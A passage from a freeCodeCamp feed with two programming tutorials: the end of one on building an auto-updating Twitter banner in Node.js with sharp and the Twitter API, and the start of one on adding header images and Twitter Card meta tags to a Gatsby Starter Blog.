<pre><code class="lang-js">  get_followers_img.then(<span class="hljs-function">() =&gt;</span> {
     draw_image(image_data);
  });
</code></pre>
<p>Now let's create the <code>draw_image</code> function we just called. Create a new function <code>draw_image</code> in your <code>index.js</code> file like this:</p>
<pre><code class="lang-js">...
async <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">draw_image</span>(<span class="hljs-params">image_data</span>) </span>{
  <span class="hljs-keyword">try</span> {
    <span class="hljs-keyword">const</span> hour = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>().getHours();
    <span class="hljs-keyword">const</span> welcomeTypes = [<span class="hljs-string">"Morning"</span>, <span class="hljs-string">"Afternoon"</span>, <span class="hljs-string">"Evening"</span>];
    <span class="hljs-keyword">let</span> welcomeText = <span class="hljs-string">""</span>;

    <span class="hljs-keyword">if</span> (hour &lt; <span class="hljs-number">12</span>) welcomeText = welcomeTypes[<span class="hljs-number">0</span>];
    <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (hour &lt; <span class="hljs-number">18</span>) welcomeText = welcomeTypes[<span class="hljs-number">1</span>];
    <span class="hljs-keyword">else</span> welcomeText = welcomeTypes[<span class="hljs-number">2</span>];

    <span class="hljs-keyword">const</span> svg_greeting = <span class="hljs-keyword">await</span> create_text(<span class="hljs-number">500</span>, <span class="hljs-number">100</span>, welcomeText);

    image_data.push({
      <span class="hljs-attr">input</span>: svg_greeting,
      <span class="hljs-attr">top</span>: <span class="hljs-number">52</span>,
      <span class="hljs-attr">left</span>: <span class="hljs-number">220</span>,
    });

    <span class="hljs-keyword">await</span> sharp(<span class="hljs-string">"twitter-banner.png"</span>)
      .composite(image_data)
      .toFile(<span class="hljs-string">"new-twitter-banner.png"</span>);

    <span class="hljs-comment">// upload banner to twitter</span>
    upload_banner(image_data);
  } <span class="hljs-keyword">catch</span> (error) {
    <span class="hljs-built_in">console</span>.log(error);
  }
}
</code></pre>
<p>The first thing we did in this code was to create a welcome greeting text depending on the hour of the day. Then, using the <code>create_text()</code> function we made earlier, we created and saved the greeting as an SVG buffer image:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> svg_greeting = <span class="hljs-keyword">await</span> create_text(<span class="hljs-number">500</span>, <span class="hljs-number">100</span>, welcomeText);
</code></pre>
<p>The next step was to add our new buffer image to our image data array:</p>
<pre><code class="lang-js">    image_data.push({
      <span class="hljs-attr">input</span>: svg_greeting,
      <span class="hljs-attr">top</span>: <span class="hljs-number">52</span>,
      <span class="hljs-attr">left</span>: <span class="hljs-number">220</span>,
    });
</code></pre>
<p>Note that I got the top and left values from the Figma design (don't make those up!).</p>
<p>Next we combined our multiple images into one by using <code>.composite(image_data)</code> and saved it to a new file called <code>new-twitter-banner.png</code>.</p>
<pre><code class="lang-js">    <span class="hljs-keyword">await</span> sharp(<span class="hljs-string">"twitter-banner.png"</span>)
      .composite(image_data)
      .toFile(<span class="hljs-string">"new-twitter-banner.png"</span>);
</code></pre>
<p>Lastly, once we have successfully created our new image, we call a function <code>upload_banner()</code>. As the name implies, it lets us upload our new Twitter banner to Twitter.</p>
<h2 id="heading-how-to-upload-the-banner-to-twitter">How to Upload the Banner to Twitter</h2>
<p>To upload our new banner to Twitter, we need to first read the image from our filesystem. So we need to require a new module. Don't worry – we are not going to install it, it comes with NodeJs.</p>
<p>At the top of <code>index.js</code> where we required other modules, add the following:</p>
<pre><code class="lang-js"><span class="hljs-comment">// other modules</span>
<span class="hljs-keyword">const</span> fs = <span class="hljs-built_in">require</span>(<span class="hljs-string">"fs"</span>);
</code></pre>
<p>Then at the bottom of your <code>index.js</code> file, create an <code>upload_banner()</code> function with the following code:</p>
<pre><code class="lang-js"><span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">upload_banner</span>(<span class="hljs-params">files</span>) </span>{
  <span class="hljs-keyword">try</span> {
    <span class="hljs-keyword">const</span> base64 = <span class="hljs-keyword">await</span> fs.readFileSync(<span class="hljs-string">"new-twitter-banner.png"</span>, {
      <span class="hljs-attr">encoding</span>: <span class="hljs-string">"base64"</span>,
    });
    <span class="hljs-keyword">await</span> twitterClient.accountsAndUsers
      .accountUpdateProfileBanner({
        <span class="hljs-attr">banner</span>: base64,
      })
      .then(<span class="hljs-function">() =&gt;</span> {
        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Upload to Twitter done"</span>);
        delete_files(files);
      });
  } <span class="hljs-keyword">catch</span> (error) {
    <span class="hljs-built_in">console</span>.log(error);
  }
}
</code></pre>
<p>Notice that we called another function <code>delete_files()</code> once the image was uploaded to Twitter. This is because we don't want our server to be filled with images of our new followers, so after every successful upload we delete the images:</p>
<pre><code class="lang-js">...
async <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">delete_files</span>(<span class="hljs-params">files</span>) </span>{
  <span class="hljs-keyword">try</span> {
    files.forEach(<span class="hljs-function">(<span class="hljs-params">file</span>) =&gt;</span> {
      <span class="hljs-keyword">if</span> (file.input.includes(<span class="hljs-string">'.png'</span>)) {
        fs.unlinkSync(file.input);
        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"File removed"</span>);
      }
    });
  } <span class="hljs-keyword">catch</span> (err) {
    <span class="hljs-built_in">console</span>.error(err);
  }
}
</code></pre>
<p>The function above checks our <code>image_data</code> (now called files) and for each <code>input</code> it checks if the input includes <code>.png</code>. It does this because some of our images (SVG text) are buffers and are not saved on our file system. So attempting to delete that would result in an error.</p>
<p>Finally we want to run the <code>get_followers()</code> function every 60s because that's where everything starts:</p>
<pre><code class="lang-js">...
get_followers();
<span class="hljs-built_in">setInterval</span>(<span class="hljs-function">() =&gt;</span> {
  get_followers();
}, <span class="hljs-number">60000</span>);
</code></pre>
<p>And that's it! If you are interested, the entire code is on Github:</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://github.com/iamspruce/twitter-banner">https://github.com/iamspruce/twitter-banner</a></div>
<p> </p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>If you made it this far, congratulations! You should now see your dynamic Twitter header. And depending on the time of the day, you should see a greeting message – in my case it is morning here as I'm writing this:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/10/Web-capture_2-10-2021_105540_twitter.com.jpeg" alt="Image" width="600" height="400" loading="lazy"></p>
<p>The rest is now up to your creativity. If you created something wonderful with this please feel free to tweet about it and tag me <a target="_blank" href="https://twitter.com/sprucekhalifa">@sprucekhalifa</a>. And don't forget to hit the follow button.</p>
<p>So I say unto you "Go into the world and be creative". Oh and happy coding!</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Gatsby Starter Blog: How to Add Header Images to Posts with Support for Twitter Cards ]]>
                </title>
                <description>
                    <![CDATA[ By David Good If you're like me, you used Gatsby Starter Blog to kickstart your personal blog, made a few customizations, and then just rolled with it.  Adding new posts in the form of markdown is great. But it also means you rarely have a reason to ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/gatsby-blog-header-image-twitter-card/</link>
                <guid isPermaLink="false">66d45e01680e33282da25e4d</guid>
                
                    <category>
                        <![CDATA[ blog ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Gatsby ]]>
                    </category>
                
                    <category>
                        <![CDATA[ GraphQL ]]>
                    </category>
                
                    <category>
                        <![CDATA[ open graph ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Twitter ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Tue, 29 Dec 2020 00:33:15 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2020/12/freeCodeCamp-GatsbyBlogImageTwitterCard-5.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By David Good</p>
<p>If you're like me, you used <a target="_blank" href="https://www.gatsbyjs.com/starters/gatsbyjs/gatsby-starter-blog">Gatsby Starter Blog</a> to kickstart your personal blog, made a few customizations, and then just rolled with it. </p>
<p>Adding new posts in the form of markdown is great. But it also means you rarely have a reason to look at the code. So when I decided to add header images to my posts with support for <a target="_blank" href="https://developer.twitter.com/en/docs/twitter-for-websites/cards/overview/abouts-cards">Twitter Cards</a>, I felt lost.</p>
<p>My requirements were to be able to add a large header image with a caption to a post as you can see here:</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://davidagood.com/dynamodb-enhanced-client-java-heterogeneous-item-collections/">https://davidagood.com/dynamodb-enhanced-client-java-heterogeneous-item-collections/</a></div>
<p>Furthermore, a tweet which contains a link to the post should "expand" into <a target="_blank" href="https://developer.twitter.com/en/docs/twitter-for-websites/cards/overview/summary-card-with-large-image">Twitter's Summary Card with Large Image</a>, like this:</p>
<div class="embed-wrapper">
        <blockquote class="twitter-tweet">
          <a href="https://twitter.com/helloworldless/status/1336323721254948864"></a>
        </blockquote>
        <script defer="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></div>
<p>And finally, for posts which do not specify an image, a default image should be shown using <a target="_blank" href="https://developer.twitter.com/en/docs/twitter-for-websites/cards/overview/summary">Twitter's Summary Card</a>. Here's what that looks like where I've used my website logo as the default image:</p>
<div class="embed-wrapper">
        <blockquote class="twitter-tweet">
          <a href="https://twitter.com/helloworldless/status/1338482084445347844"></a>
        </blockquote>
        <script defer="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></div>
<p><strong>Note:</strong> Twitter's docs state that a website logo should not be used for a card image (see <code>twitter:image</code> section <a target="_blank" href="https://developer.twitter.com/en/docs/twitter-for-websites/cards/overview/summary#reference">here</a>). I'll leave it to you to decide whether it makes sense to use a fixed image as a fallback like I have here.</p>
<h2 id="heading-getting-started">Getting Started</h2>
<p>Here are the five high-level steps which I will be guiding you through. I'll attempt to explain everything in depth and provide links to other resources along the way. That way you will build up your knowledge of Gatsby which you can draw from to tackle the later, more complicated steps.</p>
<ol>
<li>Add Document Metadata Tags</li>
<li>Source Default Image using GraphQL</li>
<li>Source Post-Specific Image Properties using GraphQL</li>
<li>Add Header Image to Blog Post Template</li>
<li>Add New Properties to Post's Frontmatter</li>
</ol>
<p>The tools which we'll be using to accomplish this all come out of the box with <a target="_blank" href="https://www.gatsbyjs.com/starters/gatsbyjs/gatsby-starter-blog">Gatsby Starter Blog</a>!</p>
<ul>
<li><a target="_blank" href="https://github.com/nfl/react-helmet">React Helmet</a> - Used in the <code>SEO</code> component to add meta tags to the document head to support Twitter Cards and other <a target="_blank" href="https://ogp.me/">Open Graph</a> tags</li>
<li><a target="_blank" href="https://www.gatsbyjs.com/plugins/gatsby-source-filesystem/">Gatsby Source Filesystem</a> - A "plugin for sourcing data into your Gatsby application from your local filesystem", images in our case</li>
<li><a target="_blank" href="https://www.gatsbyjs.com/plugins/gatsby-image/">Gatsby Image</a> - "a React component specially designed to work seamlessly with Gatsby’s GraphQL queries. It combines <a target="_blank" href="https://image-processing.gatsbyjs.org/">Gatsby’s native image processing</a> capabilities with advanced image loading techniques to easily and completely optimize image loading for your sites. <code>gatsby-image</code> uses <a target="_blank" href="https://www.gatsbyjs.com/packages/gatsby-plugin-sharp/">gatsby-plugin-sharp</a> to power its image transformations."</li>
<li><a target="_blank" href="https://www.gatsbyjs.com/plugins/gatsby-plugin-sharp/">Gatsby Plugin Sharp</a> - "Exposes several image processing functions built on the <a target="_blank" href="https://github.com/lovell/sharp">Sharp image processing library</a>". We use this for resizing images.</li>
</ul>
<h2 id="heading-how-to-add-document-metadata-tags">How to Add Document Metadata Tags</h2>
<p>First, we will wire up the HTML metadata tags which can be read by Twitter and any other platform or tool which understands <a target="_blank" href="https://ogp.me/">Open Graph</a> such as Google, Facebook, and WhatsApp. </p>
<p>Learn more about document metadata here: <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">What’s in the head? Metadata in HTML</a>.</p>
<p>Open the <code>SEO</code> component in <code>src/components/seo.js</code>. The first thing to notice is that this is using <a target="_blank" href="https://github.com/nfl/react-helmet">React Helmet</a>, and it already has many Open Graph and Twitter meta tags like <code>og:title</code>, <code>twitter:description</code>. It even has a <code>twitter:card</code> tag with a value of "summary" which enables a basic Twitter Summary Card with no image:</p>
<pre><code class="lang-js"><span class="hljs-comment">// src/components/seo.js</span>
<span class="hljs-keyword">const</span> SEO = <span class="hljs-function">(<span class="hljs-params">{ description, lang, meta, title }</span>) =&gt;</span> { 
<span class="hljs-comment">// Details omitted for brevity </span>
<span class="hljs-keyword">return</span> ( 
    <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">Helmet</span> 
        <span class="hljs-attr">htmlAttributes</span>=<span class="hljs-string">{{</span> <span class="hljs-attr">lang</span> }} 
        <span class="hljs-attr">title</span>=<span class="hljs-string">{title}</span> 
        <span class="hljs-attr">titleTemplate</span>=<span class="hljs-string">{</span>`%<span class="hljs-attr">s</span> | ${<span class="hljs-attr">site.siteMetadata.title</span>}`} 
        <span class="hljs-attr">meta</span>=<span class="hljs-string">{[</span> 
            { <span class="hljs-attr">name:</span> `<span class="hljs-attr">description</span>`, <span class="hljs-attr">content:</span> <span class="hljs-attr">metaDescription</span>, }, 
            { <span class="hljs-attr">property:</span> `<span class="hljs-attr">og:title</span>`, <span class="hljs-attr">content:</span> <span class="hljs-attr">title</span>, }, 
            { <span class="hljs-attr">property:</span> `<span class="hljs-attr">og:description</span>`, <span class="hljs-attr">content:</span> <span class="hljs-attr">metaDescription</span>, }, 
            { <span class="hljs-attr">property:</span> `<span class="hljs-attr">og:type</span>`, <span class="hljs-attr">content:</span> `<span class="hljs-attr">website</span>`, }, 
            { <span class="hljs-attr">property:</span> `<span class="hljs-attr">twitter:card</span>`, <span class="hljs-attr">content:</span> `<span class="hljs-attr">summary</span>`, }, 
            { <span class="hljs-attr">property:</span> `<span class="hljs-attr">twitter:creator</span>`, 
              <span class="hljs-attr">content:</span> <span class="hljs-attr">site.siteMetadata.social.twitter</span>, }, 
            // <span class="hljs-attr">...</span></span></span>
</code></pre>
<p>Let's update this component:</p>
<ol>
<li>Add <code>imageUrl</code> and <code>imageAlt</code> parameters. These will be passed as props by the <code>BlogPostTemplate</code> component as we will see later. Note that that I've used "URL" in the prop name to convey the fact that this must be a fully-qualified URL. Relative paths are not supported for the OG image!</li>
<li>Construct the default image URL, <code>defaultImageUrl</code>. I've written a tiny utility function, <code>constructUrl</code>, to concatenate a base URL with a relative path. We will see where <code>data.ogImageDefault</code> comes from in the next section.</li>
<li>Add an <code>ogImageUrl</code> variable which takes the <code>imageSrcUrl</code> prop or, if that's not provided, defaults to <code>defaultImageUrl</code>.</li>
<li>Add objects to the <code>meta</code> array passed to the <code>Helmet</code> component: <code>og:image</code>, <code>twitter:card</code>, and <code>twitter:image:alt</code></li>
</ol>
<p>A few things to note here:</p>
<ol>
<li>Twitter does have its own <code>twitter:image</code> meta tag, but per the <a target="_blank" href="https://developer.twitter.com/en/docs/twitter-for-websites/cards/guides/getting-started#twitter-cards-and-open-graph">docs</a>, we don't need to add both the <code>og:image</code> and the <code>twitter:image</code> tag since Twitter's parser will fall back to the Open Graph tags.</li>
<li>Open Graph specifies the <code>meta</code> attributes <code>property</code> and <code>content</code> whereas Twitter specifies <code>name</code> and <code>content</code>, respectively. But again, the Twitter docs state that their parser will fall back to the Open Graph attributes. This is nice because we can maintain consistency and don't need a bunch of repetitive properties with the same values which we have to keep in sync.</li>
<li>Notable exceptions to using the <code>property</code> attribute on <code>meta</code> tags are any non-Open Graph tags like <code>description</code> which must use the <code>name</code> attribute. I encourage you to use <a target="_blank" href="https://developers.google.com/web/tools/lighthouse">Lighthouse</a> which will identify basic issues with your SEO.</li>
</ol>
<pre><code class="lang-js"><span class="hljs-comment">// util.js</span>
<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> constructUrl = <span class="hljs-function">(<span class="hljs-params">baseUrl, path</span>) =&gt;</span>
  (!baseUrl || !path) ? <span class="hljs-literal">null</span> : <span class="hljs-string">`<span class="hljs-subst">${baseUrl}</span><span class="hljs-subst">${path}</span>`</span>;

<span class="hljs-comment">// src/components/seo.js</span>
<span class="hljs-comment">// Step 1: Add props</span>
<span class="hljs-keyword">const</span> SEO = <span class="hljs-function">(<span class="hljs-params">{ description, lang, meta, title, imageUrl, imageAlt }</span>) =&gt;</span> { 

    <span class="hljs-keyword">const</span> data = useStaticQuery(
        <span class="hljs-comment">// This is explained next</span>
    );

    <span class="hljs-comment">// Step 2: Construct default image URL</span>
    <span class="hljs-comment">// ogImageDefault is explained next</span>
    <span class="hljs-keyword">const</span> defaultImageUrl = constructUrl(data.site.siteMetadata.siteUrl, data.ogImageDefault?.childImageSharp?.fixed?.src)

    <span class="hljs-comment">// Step 3: Add this</span>
    <span class="hljs-keyword">const</span> ogImageUrl = imageUrl || defaultImageUrl; 

    <span class="hljs-keyword">return</span> ( 
        <span class="hljs-comment">// Step 4: Add new meta objects</span>
        <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">Helmet</span> 
            <span class="hljs-attr">htmlAttributes</span>=<span class="hljs-string">{{</span> <span class="hljs-attr">lang</span> }} 
            <span class="hljs-attr">title</span>=<span class="hljs-string">{title}</span> 
            <span class="hljs-attr">titleTemplate</span>=<span class="hljs-string">{</span>`%<span class="hljs-attr">s</span> | ${<span class="hljs-attr">site.siteMetadata.title</span>}`} 
            <span class="hljs-attr">meta</span>=<span class="hljs-string">{[</span>
                { <span class="hljs-attr">property:</span> `<span class="hljs-attr">og:image</span>`, <span class="hljs-attr">content:</span> <span class="hljs-attr">ogImageUrl</span>, }, 

                // <span class="hljs-attr">If</span> <span class="hljs-attr">a</span> <span class="hljs-attr">post</span> <span class="hljs-attr">has</span> <span class="hljs-attr">an</span> <span class="hljs-attr">image</span>, <span class="hljs-attr">use</span> <span class="hljs-attr">the</span> <span class="hljs-attr">larger</span> <span class="hljs-attr">card.</span> 
                // <span class="hljs-attr">Otherwise</span> <span class="hljs-attr">the</span> <span class="hljs-attr">default</span> <span class="hljs-attr">image</span> <span class="hljs-attr">is</span> <span class="hljs-attr">just</span> 
                // <span class="hljs-attr">a</span> <span class="hljs-attr">small</span> <span class="hljs-attr">logo</span>, <span class="hljs-attr">so</span> <span class="hljs-attr">use</span> <span class="hljs-attr">the</span> <span class="hljs-attr">smaller</span> <span class="hljs-attr">card.</span>
                { <span class="hljs-attr">property:</span> `<span class="hljs-attr">twitter:card</span>`, <span class="hljs-attr">content:</span> <span class="hljs-attr">imageUrl</span> ? `<span class="hljs-attr">summary_large_image</span>` <span class="hljs-attr">:</span> `<span class="hljs-attr">summary</span>`, }, 

                // <span class="hljs-attr">Add</span> <span class="hljs-attr">image</span> <span class="hljs-attr">alt</span> <span class="hljs-attr">text</span>
                // <span class="hljs-attr">Falls</span> <span class="hljs-attr">back</span> <span class="hljs-attr">to</span> <span class="hljs-attr">default</span> <span class="hljs-attr">which</span> <span class="hljs-attr">describes</span> <span class="hljs-attr">the</span> <span class="hljs-attr">site</span> <span class="hljs-attr">logo</span>
                { <span class="hljs-attr">property:</span> `<span class="hljs-attr">twitter:image:alt</span>`, <span class="hljs-attr">content:</span> <span class="hljs-attr">imageAlt</span> || "<span class="hljs-attr">davidagood.com</span> <span class="hljs-attr">logo</span>", }, 
                // <span class="hljs-attr">...</span></span></span>
</code></pre>
<h2 id="heading-how-to-source-default-image-using-graphql">How to Source Default Image using GraphQL</h2>
<p>This is where Gatsby's filesystem and image processing capabilities come into play. Below is the <code>useStaticQuery</code> call GraphQL query from the <code>SEO</code> component. I've added the <code>ogImageDefault</code> portion and the <code>siteUrl</code> which is needed for the <code>constructUrl</code> call shown above.</p>
<pre><code class="lang-js"><span class="hljs-comment">// src/components/seo.js</span>
<span class="hljs-keyword">const</span> data = useStaticQuery(
    graphql<span class="hljs-string">`
      query {
        site {
          siteMetadata {
            title
            description
            social {
              twitter
            }
            # Add this
            siteUrl
          }
        }
        # Add this
        ogImageDefault: file(relativePath: {eq: "icon.png"}) { 
          childImageSharp {
            fixed(height: 260, width: 260) {
              src
            }
          }
        }
      }
    `</span>,
);
</code></pre>
<h3 id="heading-graphql-file-and-image-processing-query-explained">GraphQL File and Image Processing Query Explained</h3>
<p>The top level node is <code>ogImageDefault</code>. This is a <a target="_blank" href="https://graphql.org/learn/queries/#aliases">GraphQL alias</a> for the <code>file</code> query which is applying a filter to find a file with relative path equal to <code>icon.png</code>. The name I've chosen, <code>ogImageDefault</code>, is completely arbitrary.</p>
<p>One key thing to understand here is what the <code>relativePath</code> is relative to. In other words, where is this file, <code>icon.png</code>? </p>
<p>Let me start by telling you the location of the file relative to the project root: <code>./content/assets/icon.png</code>. In the query, I haven't specified any relative path, just the filename. So how does Gatsby know where to find it? </p>
<p>Enter <code>[gatsby-source-filesystem](https://www.gatsbyjs.com/plugins/gatsby-source-filesystem/)</code>. If you look in <code>gatsby-config.js</code> you will see some config like this:</p>
<pre><code class="lang-js"><span class="hljs-comment">// gatsby-config.js </span>
<span class="hljs-built_in">module</span>.exports = { 
    <span class="hljs-comment">// siteMetadata: {...}, </span>
    <span class="hljs-attr">plugins</span>: [ 
        <span class="hljs-comment">// Other plugins omitted </span>
        { 
            <span class="hljs-attr">resolve</span>: <span class="hljs-string">`gatsby-source-filesystem`</span>, 
            <span class="hljs-attr">options</span>: { 
                <span class="hljs-attr">path</span>: <span class="hljs-string">`<span class="hljs-subst">${__dirname}</span>/content/blog`</span>, 
                <span class="hljs-attr">name</span>: <span class="hljs-string">`blog`</span>, 
            }, 
        }, 
        { 
            <span class="hljs-attr">resolve</span>: <span class="hljs-string">`gatsby-source-filesystem`</span>, 
            <span class="hljs-attr">options</span>: { 
                <span class="hljs-attr">path</span>: <span class="hljs-string">`<span class="hljs-subst">${__dirname}</span>/content/assets`</span>, 
                <span class="hljs-attr">name</span>: <span class="hljs-string">`assets`</span>, 
            }, 
        }, 
        <span class="hljs-comment">// ...</span>
</code></pre>
<p>What this is doing is registering these paths as "content roots" and giving them a name. So the name <code>blog</code> refers to <code>./content/blog</code> relative to the project root. And the name <code>assets</code> refers to <code>./content/assets</code> relative to the project root. You can use these names in queries by filtering on <code>sourceInstanceName</code>:</p>
<pre><code class="lang-graphql"><span class="hljs-comment"># http://localhost:8000/___graphql </span>
{ 
    allFile(<span class="hljs-symbol">filter:</span> {<span class="hljs-symbol">sourceInstanceName:</span> {<span class="hljs-symbol">eq:</span> <span class="hljs-string">"blog"</span>}}) { 
        edges { 
            node { 
                absolutePath 
                publicURL 
                sourceInstanceName 
            } 
        } 
    } 
}
</code></pre>
<p>The result of this query:</p>
<pre><code class="lang-js"><span class="hljs-comment">// Result of allFiles query with sourceInstanceName filter </span>
{ 
    <span class="hljs-string">"data"</span>: { 
        <span class="hljs-string">"allFile"</span>: { 
            <span class="hljs-string">"edges"</span>: [{ 
                <span class="hljs-string">"node"</span>: { 
                    <span class="hljs-string">"absolutePath"</span>: <span class="hljs-string">"/home/dgood/IdeaProjects/davidagood.com/content/blog/clean-code-and-architecture/index.md"</span>, 
                    <span class="hljs-string">"publicURL"</span>: <span class="hljs-string">"/static/40bb02d938c4faf7f977dd66c1a399d2/index.md"</span>, 
                    <span class="hljs-string">"sourceInstanceName"</span>: <span class="hljs-string">"blog"</span> 
                } 
            }, 
            <span class="hljs-comment">// additional results...</span>
</code></pre>
<p>So back to <code>ogImageDefault</code>: the <code>relativePath</code> we provided was just <code>icon.png</code>, but the file is actually located at <code>./content/assets/icon.png</code>. </p>
<p>Gatsby was able to resolve to the file because we configured a "content root" at <code>./content/assets</code>. We could have specified the <code>sourceInstanceName</code> to remove any ambiguity as to which "content root" this file is located in. </p>
<p>In fact, I'm not sure how Gatsby would behave if the same relative path existed in multiple "content roots". </p>
<p>This would be a good opportunity to dig into the Gatsby's source code to understand how this all works, but I'll leave that to you!</p>
<p>Next up: what is <code>childImageSharp</code>? "Child" refers to this being a child node of a <code>File</code> node. "Image" is just like it sounds. "Sharp" is referring to the <a target="_blank" href="https://github.com/lovell/sharp">Sharp</a> image processing tool and corresponding Gatsby plugin, <a target="_blank" href="https://www.gatsbyjs.com/plugins/gatsby-plugin-sharp/">gatsby-plugin-sharp</a>, which enables these image processing features.</p>
<p><code>fixed</code> means we want transform the image into an image of a fixed size. We specify the dimensions by passing parameters like this: <code>fixed(height: 260, width: 260)</code>. There are a few alternatives to <code>fixed</code> which we could use, one of which we will see below.</p>
<p>Finally, we only need the <code>src</code> property for the purposes of the Open Graph image meta tag.</p>
<h2 id="heading-how-to-source-post-specific-image-properties-using-graphql">How to Source Post-Specific Image Properties using GraphQL</h2>
<p>Following from above, we must update the <code>BlogPostTemplate</code> component to pass the <code>imageUrl</code> and <code>imageAlt</code> props to the <code>SEO</code> component. Again, we use the <code>constructUrl</code> utility to convert the relative path, <code>src</code>, into a URL. I explain the origin of these props' values below.</p>
<pre><code class="lang-js"><span class="hljs-comment">// util.js</span>
<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> constructUrl = <span class="hljs-function">(<span class="hljs-params">baseUrl, path</span>) =&gt;</span>
  (!baseUrl || !path) ? <span class="hljs-literal">null</span> : <span class="hljs-string">`<span class="hljs-subst">${baseUrl}</span><span class="hljs-subst">${path}</span>`</span>;

<span class="hljs-comment">// src/templates/blog-post.js</span>
<span class="hljs-keyword">const</span> BlogPostTemplate = <span class="hljs-function">(<span class="hljs-params">{ data, pageContext, location }</span>) =&gt;</span> { 
    <span class="hljs-comment">// Details omitted for brevity</span>
    <span class="hljs-keyword">return</span> ( 
        <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">Layout</span> <span class="hljs-attr">location</span>=<span class="hljs-string">{location}</span> <span class="hljs-attr">title</span>=<span class="hljs-string">{data.site.siteMetadata.title}</span>&gt;</span> 
            <span class="hljs-tag">&lt;<span class="hljs-name">SEO</span> 
                <span class="hljs-attr">title</span>=<span class="hljs-string">{data.markdownRemark.frontmatter.title}</span> 
                <span class="hljs-attr">description</span>=<span class="hljs-string">{data.markdownRemark.frontmatter.description</span> || <span class="hljs-attr">data.markdownRemark.excerpt</span>} 
                <span class="hljs-attr">imageUrl</span>=<span class="hljs-string">{</span>
                    <span class="hljs-attr">constructUrl</span>(
                        <span class="hljs-attr">data.site.siteMetadata.siteUrl</span>, <span class="hljs-attr">data.markdownRemark.frontmatter.image</span>?<span class="hljs-attr">.childImageSharp</span>?<span class="hljs-attr">.fixed</span>?<span class="hljs-attr">.src</span>
                )} 
                <span class="hljs-attr">imageAlt</span>=<span class="hljs-string">{data.markdownRemark.frontmatter.imageAlt}</span> /&gt;</span>
        // ...</span>
</code></pre>
<p>Sourcing the image alt text is straightforward: we add <code>imageAlt</code> as a property to the <code>frontmatter</code> portion of our <code>BlogPostTemplate</code> component's GraphQL query. This query is exported as a GraphQL tagged template. </p>
<p>The name of the exported constant is arbitrary. In my case it's <code>const pageQuery</code>. </p>
<p>This query gets executed for us by Gatsby, and the results are passed to the <code>BlogPostTemplate</code> component in the <code>data</code> prop. </p>
<p>This is explained in the Gatsby docs here: <a target="_blank" href="https://www.gatsbyjs.com/docs/how-to/querying-data/page-query/">Querying Data in Pages with GraphQL</a>.</p>
<p>In order to source the actual image, we use <code>childImageSharp</code> again but in a slightly different way than we saw above:</p>
<pre><code class="lang-js"><span class="hljs-comment">// src/templates/blog-post.js</span>
<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> pageQuery = graphql<span class="hljs-string">`
    query BlogPostBySlug($slug: String!) {
      site {
        siteMetadata {
          title
          siteUrl
        }
      }
      markdownRemark(fields: {slug: {eq: $slug}}) {
        id
        excerpt(pruneLength: 160)
        html
        frontmatter {
          title
          date(formatString: "MMMM DD, YYYY")
          description
          # Add this
          image {
            childImageSharp {
              fixed(height: 600, width: 1200) {
                src
              }
              fluid(maxWidth: 700, maxHeight: 500) {
                ...GatsbyImageSharpFluid
              }
            }
          }
          # Add these
          imageAlt
          imageTitleHtml
        }
      }
    }
`</span>;
</code></pre>
<p>Here, <code>image</code> must match the name of the property we intend to set in the post's frontmatter. And the value of this property must be a path to a file <strong>relative to the post markdown file</strong>. </p>
<p>This is similar to what we did above using a GraphQL alias and the <code>file</code> query, but here it's implicit and being handled behind the scenes by Gatsby.</p>
<p>We specify the dimensions in the parameters to the <code>fixed</code> field. When choosing the dimensions, make sure any image you use is at least as big as the dimensions you specify here, and use these guideline from the <a target="_blank" href="https://developer.twitter.com/en/docs/twitter-for-websites/cards/overview/summary-card-with-large-image#reference">docs</a>:</p>
<blockquote>
<p>Images for this Card support an aspect ratio of 2:1 with minimum dimensions of 300x157 or maximum of 4096x4096 pixels</p>
</blockquote>
<p>We have also added the <code>fluid</code> property and a <a target="_blank" href="https://graphql.org/learn/queries/#fragments">GraphQL fragment</a>, <code>...GatsbyImageSharpFluid</code>, which retrieves all of the properties available on this node without having to enumerate them one by one. </p>
<p>The Gatsby Image component is <a target="_blank" href="https://www.gatsbyjs.com/docs/reference/built-in-components/gatsby-image/#images-that-stretch-across-a-fluid-container">designed to be used this way</a> in order to provide a responsive image experience using <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">HTML's native responsive image capabilities</a>.</p>
<h2 id="heading-how-to-add-a-header-image-to-your-blog-post-template">How to Add a Header Image to your Blog Post Template</h2>
<p>With the GraphQL query updated and the results being passed to our component by Gatsby, we're ready to add the Gatsby Image import and the JSX for the header image and caption:</p>
<pre><code class="lang-js"><span class="hljs-comment">// src/templates/blog-post.js</span>
<span class="hljs-keyword">import</span> Image <span class="hljs-keyword">from</span> <span class="hljs-string">"gatsby-image"</span>;

